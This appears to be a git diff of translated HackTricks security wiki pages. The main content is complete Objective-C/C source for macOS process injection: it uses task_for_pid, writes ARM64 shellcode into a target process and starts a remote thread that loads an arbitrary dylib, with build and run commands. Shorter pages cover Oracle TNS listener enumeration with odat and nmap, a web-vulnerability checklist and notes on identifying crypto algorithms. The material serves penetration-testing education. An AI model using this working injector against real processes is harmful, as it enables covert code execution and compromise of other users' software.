if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
pid_t pidForProcessName(NSString *processName) {
NSArray *arguments = @[@"pgrep", processName];
NSTask *task = [[NSTask alloc] init];
[task setLaunchPath:@"/usr/bin/env"];
[task setArguments:arguments];
NSPipe *pipe = [NSPipe pipe];
[task setStandardOutput:pipe];
NSFileHandle *file = [pipe fileHandleForReading];
[task launch];
NSData *data = [file readDataToEndOfFile];
NSString *string = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
return (pid_t)[string integerValue];
}
BOOL isStringNumeric(NSString *str) {
NSCharacterSet* nonNumbers = [[NSCharacterSet decimalDigitCharacterSet] invertedSet];
NSRange r = [str rangeOfCharacterFromSet: nonNumbers];
return r.location == NSNotFound;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s <pid or process name>", argv[0]);
return 1;
}
NSString *arg = [NSString stringWithUTF8String:argv[1]];
pid_t pid;
if (isStringNumeric(arg)) {
pid = [arg intValue];
} else {
pid = pidForProcessName(arg);
if (pid == 0) {
NSLog(@"Error: Process named '%@' not found.", arg);
return 1;
}
else{
printf("Found PID of process '%s': %d\n", [arg UTF8String], pid);
}
}
inject(pid);
}
return 0;
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
```
### Dylib Injection in thread via Task port
U macOS **nitne** mogu biti manipulirane putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnoj injekciji, generisana je koristeći Mach api, tako da **nije posix kompatibilna**.
Bilo je moguće **injektovati jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim apijima, samo sa Mach. **Složenije injekcije** bi zahtevale da **nit** takođe bude **posix kompatibilna**.
Stoga, da bi se **poboljšala nit**, trebalo bi pozvati **`pthread_create_from_mach_thread`** koja će **kreirati validan pthread**. Tada bi ovaj novi pthread mogao **pozvati dlopen** da **učita dylib** iz sistema, tako da umesto pisanja novog shellcode-a za izvođenje različitih akcija, moguće je učitati prilagođene biblioteke.
Možete pronaći **primer dylibs** u (na primer, onaj koji generiše log i zatim možete slušati):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
<details>
<summary>dylib_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include <dlfcn.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <mach/mach.h>
#include <mach/error.h>
#include <errno.h>
#include <stdlib.h>
#include <sys/sysctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <pthread.h>
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
// "\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf ("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib );
}
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[])
{
if (argc < 3)
{
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
fprintf (stderr, " _action_: path to a dylib on disk\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat (action, &buf);
if (rc == 0) inject(pid,action);
else
{
fprintf(stderr,"Dylib not found\n");
}
}
```
</details>
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Preuzimanje niti putem Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
U ovoj tehnici se preuzima nit procesa:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
{{#endref}}
## XPC
### Osnovne informacije
XPC, što je skraćenica za XNU (jezgro koje koristi macOS) međuprocesna komunikacija, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za **sigurne, asinhrone pozive metoda između različitih procesa** na sistemu. To je deo Apple-ove sigurnosne paradigme, koja omogućava **kreiranje aplikacija sa odvojenim privilegijama** gde svaki **komponent** radi sa **samo onim dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
Za više informacija o tome kako ova **komunikacija funkcioniše** i kako bi mogla biti **ranjiva** proverite:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
{{#endref}}
## MIG - Mach Interface Generator
MIG je kreiran da **pojednostavi proces kreiranja Mach IPC** koda. U suštini, **generiše potrebni kod** za server i klijenta da komuniciraju sa datom definicijom. Čak i ako je generisani kod ružan, programer će samo morati da ga uveze i njegov kod će biti mnogo jednostavniji nego pre.
Za više informacija proverite:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## Reference
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
{{#include ../../../../banners/hacktricks-training.md}}

61
src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md
View File

@ -1,61 +0,0 @@
# 1521,1522-1529 - Pentesting Oracle TNS Listener
{{#include ../../banners/hacktricks-training.md}}
## Osnovne informacije
Oracle baza podataka (Oracle DB) je sistem za upravljanje relacionim bazama podataka (RDBMS) od Oracle Corporation (od [ovde](https://www.techopedia.com/definition/8711/oracle-database)).
Kada se enumeriše Oracle, prvi korak je razgovor sa TNS-Listener-om koji obično se nalazi na podrazumevanom portu (1521/TCP, -možete takođe dobiti sekundarne listenere na 1522–1529-).
```
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
1748/tcp open oracle-tns Oracle TNS Listener
```
## Rezime
1. **Verzijska enumeracija**: Identifikujte informacije o verziji kako biste tražili poznate ranjivosti.
2. **Bruteforce TNS Listener-a**: Ponekad je neophodno uspostaviti komunikaciju.
3. **Enumeracija/Bruteforce SID imena**: Otkrijte imena baza podataka (SID).
4. **Bruteforce kredencijala**: Pokušajte da pristupite otkrivenom SID-u.
5. **Izvršavanje koda**: Pokušajte da pokrenete kod na sistemu.
Da biste koristili MSF oracle module, potrebno je instalirati neke zavisnosti: [**Instalacija**](oracle-pentesting-requirements-installation.md)
## Postovi
Proverite ove postove:
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
## HackTricks Automatske Komande
```
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
Port_Number: 1521 #Comma separated if there is more than one.
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for Oracle
Note: |
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
#great oracle enumeration tool
navigate to https://github.com/quentinhardy/odat/releases/
download the latest
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
cd odat-libc2.12-x86_64/
./odat-libc2.12-x86_64 all -s 10.10.10.82
for more details check https://github.com/quentinhardy/odat/wiki
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
Entry_2:
Name: Nmap
Description: Nmap with Oracle Scripts
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
```
{{#include ../../banners/hacktricks-training.md}}

130
src/pentesting-web/web-vulnerabilities-methodology/README.md
View File

@ -1,130 +0,0 @@
# Metodologija web ranjivosti
{{#include ../../banners/hacktricks-training.md}}
U svakom Web Pentestu, postoji **several hidden and obvious places that might be vulnerable**. Ovaj post je zamišljen kao kontrolna lista da potvrdite da ste pretražili ranjivosti na svim mogućim mestima.
## Proksi
> [!TIP]
> Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **proksija**, koje se mogu (zlo)upotrebljavati za eksploataciju ranjivosti. Ove ranjivosti zahtevaju da postoji ranjivi proksi, ali obično takođe zahtevaju neku dodatnu ranjivost u pozadini.
- [ ] [**Zloupotreba hop-by-hop zaglavlja**](../abusing-hop-by-hop-headers.md)
- [ ] [**Trovanje kešom/Obmanjivanje keša**](../cache-deception.md)
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Otkrivanje Cloudflare-a**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
- [ ] [**XSLT Uključivanje sa servera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**Obilaženje zaštita proksija/WAF-a**](../proxy-waf-protections-bypass.md)
## **Korisnički unos**
> [!TIP]
> Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
> U zavisnosti od strukture podataka koje server očekuje, neke ranjivosti mogu ili ne moraju da se primene.
### **Reflektovane vrednosti**
Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti ranjiva na nekoliko problema.
- [ ] [**Uključivanje šablona na klijentskoj strani**](../client-side-template-injection-csti.md)
- [ ] [**Uključivanje komandi**](../command-injection.md)
- [ ] [**CRLF**](../crlf-0d-0a.md)
- [ ] [**Viseći markup**](../dangling-markup-html-scriptless-injection/index.html)
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/index.html)
- [ ] [**Otvoreni preusmeravanje**](../open-redirect.md)
- [ ] [**Zagađenje prototipa do XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- [ ] [**Uključivanje sa servera/Uključivanje sa ivice**](../server-side-inclusion-edge-side-inclusion-injection.md)
- [ ] [**Uključivanje zahteva sa servera**](../ssrf-server-side-request-forgery/index.html)
- [ ] [**Uključivanje šablona sa servera**](../ssti-server-side-template-injection/index.html)
- [ ] [**Obrnuto tab nabbing**](../reverse-tab-nabbing.md)
- [ ] [**XSLT Uključivanje sa servera**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
- [ ] [**XSS**](../xss-cross-site-scripting/index.html)
- [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
- [ ] [**XS-Search**](../xs-search.md)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odražava. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
{{#ref}}
../pocs-and-polygloths-cheatsheet/
{{#endref}}
### **Funkcionalnosti pretrage**
Ako se funkcionalnost može koristiti za pretraživanje neke vrste podataka unutar pozadine, možda je možete (zlo)upotrebljavati za pretraživanje proizvoljnih podataka.
- [ ] [**Uključivanje datoteka/Prelazak putanje**](../file-inclusion/index.html)
- [ ] [**NoSQL Uključivanje**](../nosql-injection.md)
- [ ] [**LDAP Uključivanje**](../ldap-injection.md)
- [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
- [ ] [**SQL Uključivanje**](../sql-injection/index.html)
- [ ] [**XPATH Uključivanje**](../xpath-injection.md)
### **Forme, WebSockets i PostMsgs**
Kada websocket pošalje poruku ili forma dozvoli korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
- [ ] [**Cross Site Request Forgery**](../csrf-cross-site-request-forgery.md)
- [ ] [**Zauzimanje WebSocket-a (CSWSH)**](../websocket-attacks.md)
- [ ] [**PostMessage Ranjivosti**](../postmessage-vulnerabilities/index.html)
### **HTTP Zaglavlja**
U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne.
- [ ] [**Clickjacking**](../clickjacking.md)
- [ ] [**Obilaženje politike bezbednosti sadržaja**](../content-security-policy-csp-bypass/index.html)
- [ ] [**Hacking kolačića**](../hacking-with-cookies/index.html)
- [ ] [**CORS - Pogrešne konfiguracije i obilaženje**](../cors-bypass.md)
### **Obilaženja**
Postoji nekoliko specifičnih funkcionalnosti gde bi neka rešenja mogla biti korisna za obilaženje.
- [ ] [**Obilaženje 2FA/OTP**](../2fa-bypass.md)
- [ ] [**Obilaženje procesa plaćanja**](../bypass-payment-process.md)
- [ ] [**Obilaženje Captche**](../captcha-bypass.md)
- [ ] [**Obilaženje prijave**](../login-bypass/index.html)
- [ ] [**Trka stanja**](../race-condition.md)
- [ ] [**Obilaženje ograničenja brzine**](../rate-limit-bypass.md)
- [ ] [**Obilaženje resetovanja zaboravljene lozinke**](../reset-password.md)
- [ ] [**Ranjivosti registracije**](../registration-vulnerabilities.md)
### **Strukturirani objekti / Specifične funkcionalnosti**
Neke funkcionalnosti će zahtevati da **podaci budu strukturirani u vrlo specifičnom formatu** (kao što je jezik serijalizovanog objekta ili XML). Stoga, lakše je identifikovati da li aplikacija može biti ranjiva jer mora obraditi tu vrstu podataka.\
Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **specifičan format unosa** (kao što su injekcije u zaglavlju e-pošte).
- [ ] [**Deserializacija**](../deserialization/index.html)
- [ ] [**Injekcija zaglavlja e-pošte**](../email-injections.md)
- [ ] [**JWT Ranjivosti**](../hacking-jwt-json-web-tokens.md)
- [ ] [**XML Spoljašnja Entiteta**](../xxe-xee-xml-external-entity.md)
### Datoteke
Funkcionalnosti koje omogućavaju učitavanje datoteka mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu datoteke uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju datoteke koje su učitali korisnici ili automatski generisane uključujući korisnički unos mogu biti kompromitovani.
- [ ] [**Učitavanje datoteka**](../file-upload/index.html)
- [ ] [**Injekcija formula**](../formula-csv-doc-latex-ghostscript-injection.md)
- [ ] [**Injekcija PDF-a**](../xss-cross-site-scripting/pdf-injection.md)
- [ ] [**XSS sa servera**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Upravljanje spoljnim identitetom**
- [ ] [**OAUTH do preuzimanja naloga**](../oauth-to-account-takeover.md)
- [ ] [**SAML napadi**](../saml-attacks/index.html)
### **Druge korisne ranjivosti**
Ove ranjivosti mogu pomoći u eksploataciji drugih ranjivosti.
- [ ] [**Preuzimanje domena/subdomena**](../domain-subdomain-takeover.md)
- [ ] [**IDOR**](../idor.md)
- [ ] [**Zagađenje parametara**](../parameter-pollution.md)
- [ ] [**Ranjivost normalizacije Unicode-a**](../unicode-injection/index.html)
{{#include ../../banners/hacktricks-training.md}}

183
src/reversing/cryptographic-algorithms/README.md
View File

@ -1,183 +0,0 @@
# Kriptografski/Kompresioni Algoritmi
{{#include ../../banners/hacktricks-training.md}}
## Identifikacija Algoritama
Ako završite u kodu **koristeći pomeranja udesno i ulevo, xore i nekoliko aritmetičkih operacija**, veoma je verovatno da je to implementacija **kriptografskog algoritma**. Ovde će biti prikazani neki načini za **identifikaciju algoritma koji se koristi bez potrebe da se obrće svaki korak**.
### API funkcije
**CryptDeriveKey**
Ako se ova funkcija koristi, možete saznati koji se **algoritam koristi** proverom vrednosti drugog parametra:
![](<../../images/image (375) (1) (1) (1) (1).png>)
Proverite ovde tabelu mogućih algoritama i njihovih dodeljenih vrednosti: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
**RtlCompressBuffer/RtlDecompressBuffer**
Kompresuje i dekompresuje dati bafer podataka.
**CryptAcquireContext**
Iz [dokumentacije](https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta): Funkcija **CryptAcquireContext** se koristi za sticanje rukovanja određenim kontejnerom ključeva unutar određenog provajdera kriptografskih usluga (CSP). **Ovo vraćeno rukovanje se koristi u pozivima funkcija CryptoAPI** koje koriste odabrani CSP.
**CryptCreateHash**
Inicira heširanje toka podataka. Ako se ova funkcija koristi, možete saznati koji se **algoritam koristi** proverom vrednosti drugog parametra:
![](<../../images/image (376).png>)
\
Proverite ovde tabelu mogućih algoritama i njihovih dodeljenih vrednosti: [https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id](https://docs.microsoft.com/en-us/windows/win32/seccrypto/alg-id)
### Konstantne vrednosti koda
Ponekad je zaista lako identifikovati algoritam zahvaljujući činjenici da mora koristiti posebnu i jedinstvenu vrednost.
![](<../../images/image (370).png>)
Ako pretražujete prvu konstantu na Google-u, ovo je ono što dobijate:
![](<../../images/image (371).png>)
Stoga, možete pretpostaviti da je dekompilirana funkcija **sha256 kalkulator.**\
Možete pretražiti bilo koju od drugih konstanti i dobićete (verovatno) isti rezultat.
### informacija o podacima
Ako kod nema nijednu značajnu konstantu, može biti **učitavanje informacija iz .data sekcije**.\
Možete pristupiti tim podacima, **grupisati prvi dword** i pretražiti ga na Google-u kao što smo uradili u prethodnoj sekciji:
![](<../../images/image (372).png>)
U ovom slučaju, ako tražite **0xA56363C6**, možete pronaći da je povezan sa **tabelama AES algoritma**.
## RC4 **(Simetrična Kriptografija)**
### Karakteristike
Sastoji se od 3 glavna dela:
- **Faza inicijalizacije/**: Kreira **tabelu vrednosti od 0x00 do 0xFF** (ukupno 256 bajtova, 0x100). Ova tabela se obično naziva **Substituciona Kutija** (ili SBox).
- **Faza premeštanja**: **Prolazi kroz tabelu** kreiranu pre (petlja od 0x100 iteracija, ponovo) modifikujući svaku vrednost sa **polu-nasumičnim** bajtovima. Da bi se kreirali ovi polu-nasumični bajtovi, koristi se **ključ RC4**. **Ključevi RC4** mogu biti **između 1 i 256 bajtova dužine**, međutim obično se preporučuje da budu iznad 5 bajtova. Obično, ključevi RC4 su 16 bajtova dužine.
- **XOR faza**: Na kraju, običan tekst ili šifrovani tekst se **XOR-uje sa vrednostima kreiranim pre**. Funkcija za enkripciju i dekripciju je ista. Za ovo, **proći će se kroz kreiranih 256 bajtova** onoliko puta koliko je potrebno. Ovo se obično prepoznaje u dekompiliranom kodu sa **%256 (mod 256)**.
> [!TIP]
> **Da biste identifikovali RC4 u disasembleru/dekompiliranom kodu, možete proveriti 2 petlje veličine 0x100 (uz korišćenje ključa) i zatim XOR ulaznih podataka sa 256 vrednosti kreiranih pre u 2 petlje verovatno koristeći %256 (mod 256)**
### **Faza inicijalizacije/Substituciona Kutija:** (Obratite pažnju na broj 256 korišćen kao brojač i kako se 0 piše na svakom mestu od 256 karaktera)
![](<../../images/image (377).png>)
### **Faza premeštanja:**
![](<../../images/image (378).png>)
### **XOR Faza:**
![](<../../images/image (379).png>)
## **AES (Simetrična Kriptografija)**
### **Karakteristike**
- Korišćenje **substitucionih kutija i tabela za pretragu**
